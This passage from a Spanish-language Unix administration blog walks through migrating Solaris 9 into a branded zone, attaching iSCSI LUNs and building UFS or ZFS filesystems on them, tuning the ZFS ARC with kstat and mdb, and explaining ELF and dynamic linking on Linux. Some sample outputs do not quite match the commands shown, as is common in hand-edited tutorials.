<li><b style="text-decoration: underline;">Branded-zone:</b><br />Una zona brand, ejecuta otro sistema operativo dentro del container, por lo cual es posible ejecutar mediante un framework (BrandZ) algunas versiones de Linux (RHEL), o antiguas versiones de Sun Solaris. Actualmente se encuentra soportados Solaris 8 y Solaris 9, y sobre esto nos focalizaremos para realizar nuestra migración. </li>
</ul>
Ya con el marco teórico suficiente comenzaremos a realizar nuestras tareas de migración, la cual dividiremos en tres partes:
<br />
<br />
<ol>
<li><b>Creación de FLAR en Solaris 9.</b></li>
<li><b>Creación del brand Solaris 9 sobre la zona global.</b></li>
<li><b>Restore del FLAR creado anteriormente.</b></li>
</ol>
<br />
Un archivo<b> FLAR </b>(Flash Archive), es una imagen de un sistema operativo, la cual puede se replicada a lo largo de un sin número de equipos a fin de lograr sistemas iguales y puede ser utilizada para diversos motivos como por ejemplo <i>JumpStarts</i>, o como la utilizaremos nosotros para restaurar nuestro antiguo Solaris 9 en una zona Brand.<br />
<br />
<u>Manos a la obra:</u><br />
Lo primero a realizar es generar el FLAR en el equipo con Solaris 9, y copiarlo al equipo de destino, en mi caso, por una cuestión de practicidad elegí hacerlo mediante NFS, para ello compartí el directorio /flar en el equipo de destino:
<br />
<div class="highlight">
<pre>GZ# share -F nfs -o rw /flar
</pre>
</div>
Y lo monte en <i>/net/Solaris9/</i> un filesystem del equipo de origen:
<br />
<div class="highlight">
<pre># mount -F nfs solaris10:/flar /net/Solaris9/
</pre>
</div>
para ello con el equipo lo más inactivo posible y excluyendo algunos directorios y archivos ejecutamos:
<br />
<div class="highlight">
<pre># flarcreate -S -n S9-`hostname`-`date +%Y-%m-%d` /net/Solaris9/S9-`hostname`-`date +%Y-%m-%d`.flar
Determining which filesystems will be included in the archive...
Creating the archive...
cpio: File size of "etc/mnttab" has
increased by 156
716678910 blocks
1 error(s)
Archive creation complete.
</pre>
</div>
Para poder realizar nuestra migración P2V necesitamos tener instalados algunos paquetes: <i>SUNWs9brandr SUNWs9brandu SUNWs9brandk </i>para ello utilizando pkgadd y sobre nuestro spool de paquetes local (media de instalación o similar), realizamos:
<br />
<div class="highlight">
<pre>GZ# pkgadd -d /var/spool/pkg/ SUNWs9brandr SUNWs9brandu SUNWs9brandk
</pre>
</div>
El paquete SUNWs9brandk, no se encuentra en la media de instalación, sino que debe ser provisto por Oracle de manera especial (según mi experiencia personal).<br />
Una vez listo esto, con los paquetes instalados y el flar en el servidor de destino comenzamos a crear nuestro contrainer brandZ, al que llamaremos <b>S9Zone</b>:<br />
<div class="highlight">
<pre>GZ# zonecfg -z S9Zone
S9Zone: No such zone configured
Use 'create' to begin configuring a new zone.
zonecfg:S9Zone> create -t SUNWsolaris9
zonecfg:S9Zone> set autoboot=true
zonecfg:S9Zone> set zonepath=/zones/S9Zone
</pre>
</div>
Mediante el comando <i>zonecfg</i>, entramos en modo configuración de nuestra zona, a fin de crearla, lo primero que hacemos, mediante el comando <i>create</i> es crear la zona especificándole que el brand que utilizaremos sera Solaris 9, en este caso: <i>SUNWsolaris9</i>. Luego permitimos mediante el valor booleano <i>true</i>, el <i>autoboot</i> de la zona, y especificamos el path donde se copiaran los archivos de la misma, el cual previamente debe estar creado.
<br />
<br />
Ahora procedemos con la configuración de networking, compartiendo la interfaz <i>e1000g0</i> para ser utilizada tanto por la zona global como por nuestra brandZ:
<br />
<div class="highlight">
<pre>zonecfg:S9Zone> add net
zonecfg:S9Zone:net> set physical=e1000g0
zonecfg:S9Zone:net> set address=172.16.1.200/24
zonecfg:S9Zone:net> end
</pre>
</div>
Luego verificamos que todo este correctamente, e imprimimos como quedo nuestra configuración, para luego hacer el commit.
<br />
<div class="highlight">
<pre>zonecfg:S9Zone> verify
zonecfg:S9Zone> info
zonename: S9Zone
zonepath: /zones/S9Zone
brand: solaris9
autoboot: false
bootargs:
pool:
limitpriv:
scheduling-class:
ip-type: shared
net:
address: 172.16.1.200/24
physical: e1000g1
zonecfg:S9Zone> commit
zonecfg:S9Zone> exit
</pre>
</div>
Bien, ya con la zona creada solo nos resta restaurar el flar, este es un procedimiento que puede llevar su tiempo, aproximadamente en mi caso, restaurando un flar de unos 120 gb, demoro estimadamente 20 minutos, así que con un poco de paciencia debemos ejecutar:<br />
<div class="highlight">
<pre>GZ# zoneadm -z S9Zone install -p -s /flar/S9-foobar-2012-05-23.flar
Source: /flar/S9-foobar-2012-05-23.flar
Installing: This may take several minutes...
Postprocessing: This may take several minutes...
...
Result: Installation completed successfully.
</pre>
</div>
Una vez listo, bootearemos nuestra zona:
<br />
<div class="highlight">
<pre>GZ# zoneadm -z S9Zone boot
</pre>
</div>
Verificamos que todo este bien y que la zona haya booteado correctamente (generalmente tarda unos 2 segundos):
<br />
<div class="highlight">
<pre>GZ# zoneadm list -cv
ID NAME STATUS PATH BRAND IP
0 global running / native shared
5 S9Zone running /zones/S9Zone solaris9 shared
</pre>
</div>
Y procedemos a configurar la zona:
<br />
<div class="highlight">
<pre>GZ# zlogin -C S9Zone
[Connected to zone 'S9Zone' console]
SunOS Release 5.10 Version Generic 64-bit
Copyright 1983-2006 Sun Microsystems, Inc. All rights reserved.
Use is subject to license terms.
Hostname: foo
The system is comming up.
NIS domainname is bar.net
starting rpc services: rpcbind keyserv ypbind done.
syslog services starting.
Print services started.
The system is ready.
foobar console login:
</pre>
</div>
Ahora ya estamos en condiciones de loguearnos en nuestra zona, y trabajar con ella.
¿Fácil verdad?.tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com3tag:blogger.com,1999:blog-5189027816427515351.post-83760502778115288492012-05-17T21:51:00.000-03:002012-10-27T21:41:28.146-03:00Solaris: Connecting to iSCSI targets<br />
<div class="separator" style="border: 0px; clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: center;">
<img border="0" height="104" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsFmWdfvxL2I6TFvA-zu2lEQSVdIj863rZEoO7gK4pcRn-iwUPlz6rJ5wU5Q0MO9FNNe-MxfhdNTbAxS4SEA_Pkctc8mXUYssvZBr5Unv28NQtp3eM31r5-mWeoSTFWftbkESDIzw0VOY/s200/solaris-logo.png" width="200" /></div>
<br /><b>iSCSI</b> es un protocolo que permite enviar comandos SCSI mediante tramas ethernet, el cual se utiliza en <i>Storage Area Networks</i> a fin de flexibilizar las soluciones de storage que existen hoy en día.
<br />
<br />
iSCSI, se compone básicamente de dos tipos de tecnologías, iniciadores (clientes), y targets, los cuales son aquellos equipos que están sirviendo unidades de disco (LUN's), para que los iniciadores las monten como si se trataran de discos físicamente conectados al equipo cliente.<br />
iSCSI suele utilizarse por regla general en redes separadas a las de datos, por cuestiones de performance sobre todas las cosas, pero como bien sabemos, iSCSI hace uso del stack TCP/IP, y este tiene una limitación bastante común, el MTU que por default es 1500 bytes, a fin de sobrellevar este primer inconveniente, muchas redes iSCSI utilizan <b>Jumbro frames</b>, estos son paquetes especiales en los cuales el MTU a sido alterado, incrementando el tamaño de su payload, por ejemplo 9000 bytes, que es el tamaño más común para un Jumbo frame.<br />
La utilización de Jumbo frames, requiere que las interfaces de red de ambos lados, tanto el iniciador, como el cliente, tengan con mismo valor de MTU configurados.<br />
<br />
<a name='more'></a><b><u>iSCSI naming</u></b>
iSCSI utiliza nombres únicos a fin de identificar cada dispositivo de manera única. Existen dos formas de realizar esta identificación, la primera de ellas es mediante <b>EUI</b> (Enterprise Unique Identifier), por último y más usado el <b>IQN</b> (iSCSI qualified names).<br />
El primero de ellos consiste en el prefijo <i>eui</i>, seguido por un string hexadecimal de 16 caracteres. El segundo de ellos (IQN), esta formado por el prefijo <i>iqn</i>, seguido de la fecha, el dominio de autoridad para el equipo, y un string único que identifica a cada nodo. Un ejemplo de un IQN podría ser:
<br />
<div class="highlight">
<pre>iqn.2012-05.com.foobar:01:0004ca100795.13557ab1f
</pre>
</div>
<b><u>iSCSI Portals</u></b>
El iniciador y el target, contiene uno o más "portales". Cada portal, contiene una dirección IP y un número de puerto (por default TCP/3260), en el cual el iniciador y el target utilizan a fin de determinar que interfaz van a utilizar para inicializar la conexión. Cada conexión, se asocia a una sesión, debido a que iSCSI utiliza sesiones a fin de mantener un stack de comandos de manera ordenada entre el iniciador y el target.
<br />
<br />
<u>Basta de teoría por el momento, vayamos a la práctica:</u>
<br />
<br />
Algunos paquetes son necesarios a fin de soportar iSCSI en nuestro equipo corriendo <b>Solaris 10</b>, por lo cual debemos procurar tener instalados los siguientes paquetes:<br />
<div class="highlight">
<pre>SUNWiscsir - Sun iSCSI Device Driver
SUNWiscsiu - Sun iSCSI Management Utilities
</pre>
</div>
Una vez instalados estos, y presentadas las LUN a nuestro equipo, debemos iniciar mediante SMF, el servicio del iniciador iSCSI, para ello, utilizaremos <i>svcadm</i>:
<br />
<div class="highlight">
<pre># svcadm enable iscsi_initiator
</pre>
</div>
Una vez inicializado, podemos obtener información sobre el estado del iniciador iSCSI, mediante <i>iscsiadm</i>, entre la información que nos muestra, econtraremos nuestro IQN, que nos será útil al momento de presentar una LUN al equipo:
<br />
<div class="highlight">
<pre># iscsiadm list initiator-node
Initiator node name: iqn.2012-05.com.foobar:01:0004ca100795.13557ab1f
Initiator node alias: -
Login Parameters (Default/Configured):
Header Digest: NONE/-
Data Digest: NONE/-
Authentication Type: NONE i
RADIUS Server: NONE
RADIUS access: unknown
Configured Sessions: 1
</pre>
</div>
Podemos ver, que nos muestra nuestro IQN, (<i>iqn.1986-03.com.sun:01:0003ba0e0795.4455571f</i>). Cada IQN, puede tener un alias, esto es una forma alternativa de llamar al mismo. Además, iSCSI soporta autenticación mediante usuario y contraseña utilizando CHAP, PAP o RADIUS.<br />
Bien, ya teniendo toda esta información, podemos comenzar a trabajar. Seguiremos utilizando <i>iscsiadm</i>, para hacer el <i>discovery</i> de nuestro target y así establecer la sesión.
<br />
<div class="highlight">
<pre># iscsiadm add discovery-address 172.16.1.10:3260
# iscsiadm modify discovery --sendtargets enable
# devfsadm -i iscsi
</pre>
</div>
Lo que hicimos en el paso anterior, fue mediante el método discovery, encontrar todas las LUN's que le son presentadas al equipo, luego mediante la opción <i>modify discover --sendtargets</i> establecemos la sesión con el target. Y por último creamos los links de los dispositivos de discos iSCSI en el directorio /dev (que son simplemente links simbólicos del directorio /devices).
<br />
<br />
Fantástico, ya tenemos accesibles nuestros discos (podemos comprobar esto mediante <i>dmesg</i>), ahora vamos a crear un slice en cada uno, para ello editaremos la VTOC (Virtual Table of Contents), utilizando <i>format</i>:<br />
<div class="highlight">
<pre># format
Searching for disks...done
AVAILABLE DISK SELECTIONS:
0. c0t0d0
/pci@1f,0/ide@d/dad@0,0
1. c0t2d0
/pci@1f,0/ide@d/dad@2,0
2. c1t0d0
/iscsi/disk@iqn.2012-05.com.foobar:01:0004ca100795.13557ab1f,0
Specify disk (enter its number): 2
selecting c1t0d0
Disk not labeled. Label it now? y
</pre>
</div>
<i>format</i>, nos presenta los discos que tiene disponibles, podemos apreciar a simple vista, que el número 2, es nuestra LUN, por lo cual la seleccionamos y procedemos a escribir el label en el mismo para ello debemos editar la VTOC.
<br />
<div class="highlight">
<pre>FORMAT MENU:
disk - select a disk
type - select (define) a disk type
partition - select (define) a partition table
current - describe the current disk
format - format and analyze the disk
repair - repair a defective sector
label - write label to the disk
analyze - surface analysis
defect - defect list management
backup - search for backup labels
verify - read and display labels
save - save new disk/partition definitions
inquiry - show vendor, product and revision
volname - set 8-character volume name
! - execute , then return
quit
format> partition
PARTITION MENU:
0 - change '0' partition
1 - change '1' partition
2 - change '2' partition
3 - change '3' partition
4 - change '4' partition
5 - change '5' partition
6 - change '6' partition
7 - change '7' partition
select - select a predefined table
modify - modify a predefined partition table
name - name the current table
print - display the current table
label - write partition map and label to the disk
! - execute , then return
Quit
</pre>
</div>
Dentro del menu de <i>format</i> seleccionamos <i>partition</i> y vamos a definir un slide que ocupe todo el espacio de la LUN, en nuestro caso utilizaremos 0:
<br />
<div class="highlight">
<pre>partition> print
Part Tag Flag Cylinders Size Blocks
0 root wm 0 0 (0/0/0) 0
1 swap wu 0 0 (0/0/0) 0
2 backup wu 0 - 1959 15.01GB (4606/0/0) 31471335
3 unassigned wm 0 0 (0/0/0) 0
4 unassigned wm 0 0 (0/0/0) 0
5 unassigned wm 0 0 (0/0/0) 0
6 usr wm 0 0 (0/0/0) 0
7 unassigned wm 0 0 (0/0/0) 0
partition> 0
Enter partition id tag[unassigned]:
Enter partition permission flags[wm]:
Enter new starting cyl[2483]: 0
Enter partition size[31471335b, 1959c, 4441e, 15366.86mb, 15.01gb]: $
partition> label
Ready to label disk, continue? y
partition>quit
</pre>
</div>
Lo que hicimos fue sencillo, seleccionamos la partición 0, no le asignamos ningún tag, luego le seteamos los permisos <i>wm</i>, esto significa que la partición es montable (no lo sería por ejemplo en el caso de la swap), y escribible, especificamos el primer cilindro de la misma, y le dijimos que la misma ocupará el total disponible por el disco, utilizando el comodín <i>$</i>.
Por último escribimos el label a la VTOC.<br />
Ahora bien, solo nos resta crear el filesystem. Aquí básicamente se pueden hacer dos cosas, la primera utilizar UFS, y la segunda de ellas ZFS.
<br />
<br />
<u>Utilizando UFS:</u>
<br />
<div class="highlight">
<pre># newfs /dev/rdsk/c1t0d0s0
newfs: construct a new file system /dev/rdsk/c1t0d0s0: (y/n)? y
Warning: 5208 sector(s) in last cylinder unallocated
/dev/rdsk/c1t0d0s0: 286471080 sectors in 46627 cylinders of 48 tracks, 128 sectors
139878.5MB in 2915 cyl groups (16 c/g, 48.00MB/g, 5824 i/g)
super-block backups (for fsck -F ufs -o b=#) at:
32, 98464, 196896, 295328, 393760, 492192, 590624, 689056, 787488, 885920,
Initializing cylinder groups:
..........................................................
super-block backups for last 10 cylinder groups at:
285576352, 285674784, 285773216, 285871648, 285970080, 286068512, 286166944,
286265376, 286363808, 286462240
# mount /dev/dsk/c1t0d0s0 /app
</pre>
</div>
<u>Utilizando ZFS:</u><br />
En este ejemplo crearemos primero un zpool, y luego un filesystem con ZFS:
<br />
<div class="highlight">
<pre># zpool create rpool c1t0d0s0
# zpool status
pool: foobar
state: ONLINE
scrub: none requested
config:
NAME STATE READ WRITE CKSUM
foobar ONLINE 0 0 0
c1t0d0s0 ONLINE 0 0 0
errors: No known data errors
# zfs create foobar/app
# zfs list
NAME USED AVAIL REFER MOUNTPOINT
foobar 92.0K 15.0G 9.5K /foobar
foobar/app 24.0K 15.0G 8K /foobar/app
</pre>
</div>tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com0tag:blogger.com,1999:blog-5189027816427515351.post-39370789171130731312012-05-16T23:52:00.000-03:002012-10-27T21:46:06.578-03:00Solaris: Adaptative Replacement Cache and ZFS memory leak<br />
<div class="separator" style="border: 0px; clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: center;">
<img border="0" height="104" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsFmWdfvxL2I6TFvA-zu2lEQSVdIj863rZEoO7gK4pcRn-iwUPlz6rJ5wU5Q0MO9FNNe-MxfhdNTbAxS4SEA_Pkctc8mXUYssvZBr5Unv28NQtp3eM31r5-mWeoSTFWftbkESDIzw0VOY/s200/solaris-logo.png" width="200" /></div>
<br />
Hace unos días acudí a un cliente el cual decía que sus servidores con <b>Solaris 10 08/11</b> estaban consumiendo memoria de una manera excesiva (un total de 8 GB. de RAM física). La situación se producía en un grupo de dos servidores que utilizaban ZFS para montar unos Containers, mientras que en aquellos que cumplían la misma función pero no utilizaban ZFS, esto no se producía. Así que comenzando a destripar el alien, hice uso de unas de las fantásticas herramientas que Solaris provee para esto, <i>mdb</i>.
<br />
<a name='more'></a>
<div class="highlight">
<pre># echo ::memstat | mdb -k
Page Summary Pages MB %Tot
------------ ---------------- ---------------- ----
Kernel 632923 2472 30%
ZFS File Data 685607 2678 33%
Anon 615745 2405 29%
Exec and libs 7442 29 0%
Page cache 5817 22 0%
Free (cachelist) 3077 12 0%
Free (freelist) 144312 563 7%
Total 2094923 8183
Physical 2065101 8066
</pre>
</div>
Como podemos ver, el kernel esta consumiendo el 30% de la memoria, mientras que ZFS un 33%, el resto son páginas mapeadas anónimas (29%). Fantástico, ya tenemos un centro: <b>ZFS File Data</b>.
<br />
<br />
<b><u>Adaptative replacement cache (ARC):</u></b><br />
Ustedes sabrán que el filesystem trabaja con cache, esto nos ahorra operaciones de I/O al momento de servir un dato, y por regla general aquello que es más utilizado se almacena en la cache, es por ello que existen distintos algoritmos tales como <b>LRU</b> (Last Recent Used), que mantiene en dicha memoria aquello que fue recientemente usado y uno bastante nuevo, desarrollado por IBM ARC (Adaptative replacement cache), este algoritmo realiza un seguimiento de las páginas recientemente usadas (MRU / Most Recently Used) y más frecuentemente usadas (MFU / Most Frecuently Used) y las almacena en la cache, como resultado tiene una mejor performance que LRU y es utilizado por ZFS para mejorar su performance.
<br />
<br />
Pero, ¿como funciona?, LRU, mantiene un stack en el cual las páginas recientemente usadas se añaden al final de la misma, esto es mejorado por ARC manteniendo una cache y dos listas paralelas, T1 (MFU) y T2 (MRU), para las páginas recientemente usadas y para las páginas frecuentemente utilizadas. Estas listas además se extiende con otra dos más, MFU Ghost o MRU Ghost, que es unida a la parte inferior de ambas listas. Estas dos últimas listas mantienen únicamente metadata de las entradas recientemente desalojadas de T1 y T2, pero que fueron removidas a fin de limpiar la cache. En caso de ser requeridas nuevamente, simplemente se vuelven a apuntar a T1/T2 de manera más eficiente que teniendo que volver a hacer una transacción de lectura del las unidades de storage.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkUjLEbGiFe1L4ZjxMzpRPKMa65YAcGjfyX97CJn8XMx7TI2uYpOItypR8KfwrQSzLX010taKI5uExrdObJSe7KgKYAOJZKXDt4B8dYkUF1A85J7086gOySrFju19Oep-ph0zRT428tPQ/s1600/ARC.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="233" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkUjLEbGiFe1L4ZjxMzpRPKMa65YAcGjfyX97CJn8XMx7TI2uYpOItypR8KfwrQSzLX010taKI5uExrdObJSe7KgKYAOJZKXDt4B8dYkUF1A85J7086gOySrFju19Oep-ph0zRT428tPQ/s640/ARC.png" width="640" /></a></div>
Las listas en cuestión se encuentran definidas en <i>uts/common/fs/zfs/arc.c</i>:<br />
<br />
<script src="http://pastebin.com/embed_js.php?i=UjEsfFNe"></script>
La memoria que vemos que esta siendo utilizada como ARC, no debe preocuparnos, debido a que si un proceso la solicita, esta estará disponible para ser mapeada por el mismo, entonces, dejemos en claro que <b>ES MEMORIA DISPONIBLE</b> y no representa ningún problema para el sistema. Ahora veamos cuando esta reservando nuestro sistema como ARC:
<br />
<div class="highlight">
<pre># kstat -p -m zfs |egrep -i "arcstats.(size|c_max)"
zfs:0:arcstats:c_max 7507062784
zfs:0:arcstats:size 4140901208
</pre>
</div>
Mediante <i>kstat</i> podemos ver, el tamaño actual de ARC, y el tamaño máximo. Si quisieramos limitar dicho tamaño debemos editar el archivo /etc/system. Por ejemplo queremos limitar nuestro ARC en nuestro servidor con 8GB de RAM física a 2 GB:
<br />
<div class="highlight">
<pre>set zfs:zfs_arc_max = 0x80000000
</pre>
</div>
Este cambio tomará efecto la próxima vez que reiniciemos el equipo. Si queremos realizar esto de manera dinámica debemos hacer uso de <i>mdb</i>:
<br />
<div class="highlight">
<pre># mdb -kw
> arc_stats::print -a arcstat_p.value.ui64 arcstat_c.value.ui64 arcstat_c_max.value.ui64
ffffffffc00df578 arcstat_p.value.ui64 = 0xb75e46ff
ffffffffc00df5a8 arcstat_c.value.ui64 = 0x11f51f570
ffffffffc00df608 arcstat_c_max.value.ui64 = 0x3bb708000
> ffffffffc00df608/Z 0x20000000
arc_stats+0x590: 0x11f51f570 = 0x80000000
</pre>
</div>
Siempre podemos monitorear esto, para estar seguros de que el cambio fue aplicado, por ejemplo para ver el tamaño de la ARC en decimal, hacemos:
<br />
<div class="highlight">
<pre># echo "arc_stats::print -d arcstat_size.value.ui64" | mdb -k
arcstat_size.value.ui64 = 0t2147483648
</pre>
</div>
Para mantenernos informados sobre las estadísticas de ARC y sumarizar dicha información existe una herramienta escrita en Perl, <i>ARC Summary</i>, que pueden descargar de <a href="http://cuddletech.com/arc_summary/" target="_new" title="ARC Summary">aquí</a>. Otra herramienta que es interesante conocer es <i>arcstats</i>, también escrita en Perl, y que puede ser descargada de <a href="https://blogs.oracle.com/realneel/entry/zfs_arc_statistics" target="_new">aquí</a>. Esta nos provee estadísticas como las siguientes, a fin de poder realizar un monitoreo efectivo de ARC:<br />
<div class="highlight">
<pre># ~/arcstat.pl
Time read miss miss% dmis dm% pmis pm% mmis mm% arcsz c
18:15:21 985M 100M 10 47M 14 53M 8 1M 3 11G 11G
18:15:22 137K 0 0 0 0 0 0 0 0 11G 11G
18:15:23 138K 0 0 0 0 0 0 0 0 11G 11G
18:15:24 138K 0 0 0 0 0 0 0 0 11G 11G
18:15:25 138K 0 0 0 0 0 0 0 0 11G 11G
18:15:26 138K 0 0 0 0 0 0 0 0 11G 11G
18:15:27 139K 0 0 0 0 0 0 0 0 11G 11G
18:15:28 140K 0 0 0 0 0 0 0 0 11G 11G
18:15:29 139K 0 0 0 0 0 0 0 0 11G 11G
18:15:30 140K 0 0 0 0 0 0 0 0 11G 11G
18:15:31 139K 0 0 0 0 0 0 0 0 11G 11G
18:15:32 33K 0 0 0 0 0 0 0 0 11G 11G
</pre>
</div>
<u><b>Referencias:</b></u><br />
- <a href="http://www.almaden.ibm.com/cs/people/dmodha/arcfast.pdf">ARC: A Self-Tuning, low overhead replacement cache</a> - <i>Nimrod Megiddo and Dharmendra S. Modha.</i><br />
- <a href="http://dtrace.org/blogs/brendan/2012/01/09/activity-of-the-zfs-arc/" target="_new">Activity of the ZFS ARC</a> - <i>Brendan Gregg</i>.tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com1tag:blogger.com,1999:blog-5189027816427515351.post-76182606293886322502012-05-12T18:12:00.000-03:002012-10-27T21:00:24.827-03:00POSIX: System-V Executable and Linkeable Format (ELF) and the Linux ABI<b>ELF</b> son las siglas en inglés de <b>Executable and Linkeable Format</b>, y es el formato de archivo utilizado por los file objects (.o), binarios, librerías y coredumps en Linux y en Unix en general.<br />
El principio de todo proceso, define al mismo como un archivo en un dispositivo de almacenamiento, que una vez compilado y al ser ejecutado, es cargado en memoria para que el scheduler (mediante el sistema operativo), le asigne tiempo de CPU y recursos a fin de poder ejecutar las rutinas definidas en el.<br />
Este archivo, ya convertido en binario, se encuentra escrito en algunos de los cientos lenguajes de programación que existen actualmente, por ejemplo ANSI C o Fortran. Cuando fue compilado, el compilador en un momento determinado ejecuto el linker, y definió en un header todas aquellas librerías que el programa necesita para poder ejecutarse y que estás les provean aquellas funciones y procedimientos que utilice.<br />
Un binario, puede ser compilado de dos formas, una es <b>estática</b> y la otra <b>dinámica</b>. Compilar un binario de manera estática (parámetro <i>-Bstatic</i> en <i>gcc(2)</i>), significa que se incluirán en el mismo binario todas aquellas librerías que el programa requiera. Por su parte, la principal idea de las librerías compartidas, es tener una sola copia de las mismas instaladas en el sistema operativo y que todo aquel programa que las necesite, haga uso de ellas, y las cargue en memoria para ejecución, en segmentos que pueden ser mapeados de manera privada para el proceso, o compartido entre varios procesos/threads.<br />
<br />
Los procesos en Unix, nacen de alguna de las variantes de la syscall <i>fork(2)</i>. <i>fork(2)</i>, bifurca el proceso padre en una nueva imagen del proceso (una nueva entrada en la estructura <i>proc_t</i>), y mediante <i>exec(2)</i> desplaza esta imagen para crear el mapeo y la estructuras en memoria para el nuevo proceso ejecutado.<br />
Una vez realizado el <i>exec</i> del proceso, y si este está compilado de manera dinámica, en invocado el <i>runtime linker</i>, en este caso <i>ld.so.1</i>,
<a name='more'></a>para así poder efectuar el linkeo con todas las otras librerias que el objeto requiera, como por ejemplo <i>libc.so</i>. Veamos un sencillo ejemplo de esto:
<br />
<div class="highlight">
<pre>#include <stdio.h>
int main()
{
printf("Hello world\n");
return 0;
}
</pre>
</div>
En nuestro primer ejemplo, hacemos un más que simple <i>Hello world</i> que hace uso de la función <i>printf(1)</i>, dicha función es parte de la <i>libc</i>, y actua como wrapper entre nuestro código objeto, y la <i>syscall API</i> provista por el sistema operativo, en este casó ejecutar la syscall <i>write</i> a fin de poder escribir en la memoria de vídeo la frase "Hello world".<br />
Mediante <i>ldd(1)</i>, podemos conocer contra que librerías se encuentra linkeado un binario:
<br />
<div class="highlight">
<pre># ldd example01
linux-vdso.so.1 => (0x00007fff371ff000)
libc.so.6 => /lib64/libc.so.6 (0x000000384ae00000)
/lib64/ld-linux-x86-64.so.2 (0x000000384aa00000)
</pre>
</div>
En este caso destacamos las dos últimas, la primera de ella contra la <i>libc.so.6</i> (quién le provee al binario de la función <i>printf</i>), y la segunda de ellas contra el linker, osea <i>ld-x86-64.so.2</i>.<br />
Podemos diferenciar básicamente dos linkers el primero de ellos <i>ld(1)</i> el cual es ejecutado durante la compilación, y <i>ld.so</i>, que es invocado por <i>exec(2)</i> a fin de realizar el linkeo dinámico al momento de la ejecución de programa.<br />
La variable de entorno <i>LD_DEBUG</i>, puede darnos un buen vistazo de esto:<br />
<div class="highlight">
<pre>#: LD_DEBUG=libs,files ./example01
5708:
5708: file=libc.so.6 [0]; needed by ./example01 [0]
5708: find library=libc.so.6 [0]; searching
5708: search cache=/etc/ld.so.cache
5708: trying file=/lib64/libc.so.6
5708:
5708: file=libc.so.6 [0]; generating link map
5708: dynamic: 0x000000384b1b0b40 base: 0x0000000000000000 size: 0x00000000003b7538
5708: entry: 0x000000384ae217b0 phdr: 0x000000384ae00040 phnum: 10
5708:
5708: calling init: /lib64/ld-linux-x86-64.so.2
5708: calling init: /lib64/libc.so.6
5708: initialize program: ./example
5708: transferring control: ./example
5708:
Hello world
5708:
5708: calling fini: ./example [0]
</pre>
</div>
El funcionamiento es sencillo, podemos notar que al ejecutar <i>example01</i>, el linker, este nota que se hace uso de la <i>libc.so.6</i>, por lo cual procederá a buscarla. El primer lugar donde buscará es en el archivo <i>/etc/ld.so.cache</i>, que es un archivo especial, utilizado para mantener un cache de todos los paths en el filesystem aquellas librerías que son utilizadas frecuentemente. Una vez encontrado este path, intentará abri el archivo <i>/lib64/libc.so.6</i> y generará el <i>link map</i>, creando varias estructuras en memoria que serán utilizadas por dicha instancia de la <i>libc</i>. Una vez hecho esto, efectivizara estos mapeos a fin de poder ejecutar, ingresando en el segmento <i>.init</i> del ELF, llamando primero al <i>runtime linker</i>, y luego a la <i>libc</i>, a fin de inicializar el binario, y pasarle el control del resto de las operaciones a este. En este caso imprimirá "Hello world", (habiendo llamado a la función <i>printf(2)</i>), y luego a fin de poder finalizar el proceso, ejecutará el segmento <i>.fini</i>.
<br />
<br />
ELF es parte de la "<b>System V application binary interface (ABI)</b>", que define una interfaz del sistema operativo para operar con programas compilados ejecutables, y sus funciones, por ejemplo: el manejo del stack, manejo del heap, señales, inicialización y finalización de procesos, llamadas al sistema, como así también información especifica a las distintas arquitecturas que tenga soporte el sistema operativo.
<br />
Existen tres tipos de archivos ELF: <i>ejecutables</i>, <i>relocatable</i>, y <i>shared objects</i>, el tipo de cada ELF, es generado dependiendo la opción utilizada durante la compilación de los mismos. Un ELF, en su formato <i>executable</i>, contiene varios segmentos, incluyendo uno muy importante: el <i>header ELF</i>, que contiene información específica sobre el objeto, y una serie de campos que describe los diferentes componentes del archivo. Dentro del header ELF se encuentran dos partes importantes, ellas son el <b>Section Header</b> y el <b>Program Header</b>. El Section header es definido por la<b> Section Header Table</b> o <b>SHT</b>, y en el se encuentran todas las secciones "linkeables" del ejecutable. Por su parte el<b> Program Header Table</b>, o <b>PHT</b>, define los distintos segmentos del programa, por ejemplo aquellas secciones ejecutables.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUuV_rRp1QF2Dc9_E54cZgTgD0sGVkhyphenhyphenN_7bJnY3HmxAJWYMHPxgxtKxhlhi_A7NOOhohpKldGv6giNH3wSuCSHdsGYVd0zxiUJNGXKWKouWmkcjExVX-1XuIYl1OKIIujNlWYXkG5Yd0/s1600/ELF.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUuV_rRp1QF2Dc9_E54cZgTgD0sGVkhyphenhyphenN_7bJnY3HmxAJWYMHPxgxtKxhlhi_A7NOOhohpKldGv6giNH3wSuCSHdsGYVd0zxiUJNGXKWKouWmkcjExVX-1XuIYl1OKIIujNlWYXkG5Yd0/s1600/ELF.jpg" /></a></div>
<i>readelf(1)</i>, en Linux (a este lo provee <i>binutils</i>), o <i>elfdump(1)</i> en FreeBSD, OpenBSD o Solaris, permite inspeccionar el header ELF, y las distintas secciones que lo componen, por ejemplo si necesitamos ver el header de <i>example01</i>:
<br />
<div class="highlight">
<pre>#: readelf -h ./example01
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x4003e0
Start of program headers: 64 (bytes into file)
Start of section headers: 2560 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 8
Size of section headers: 64 (bytes)
Number of section headers: 30
Section header string table index: 27
</pre>
</div>
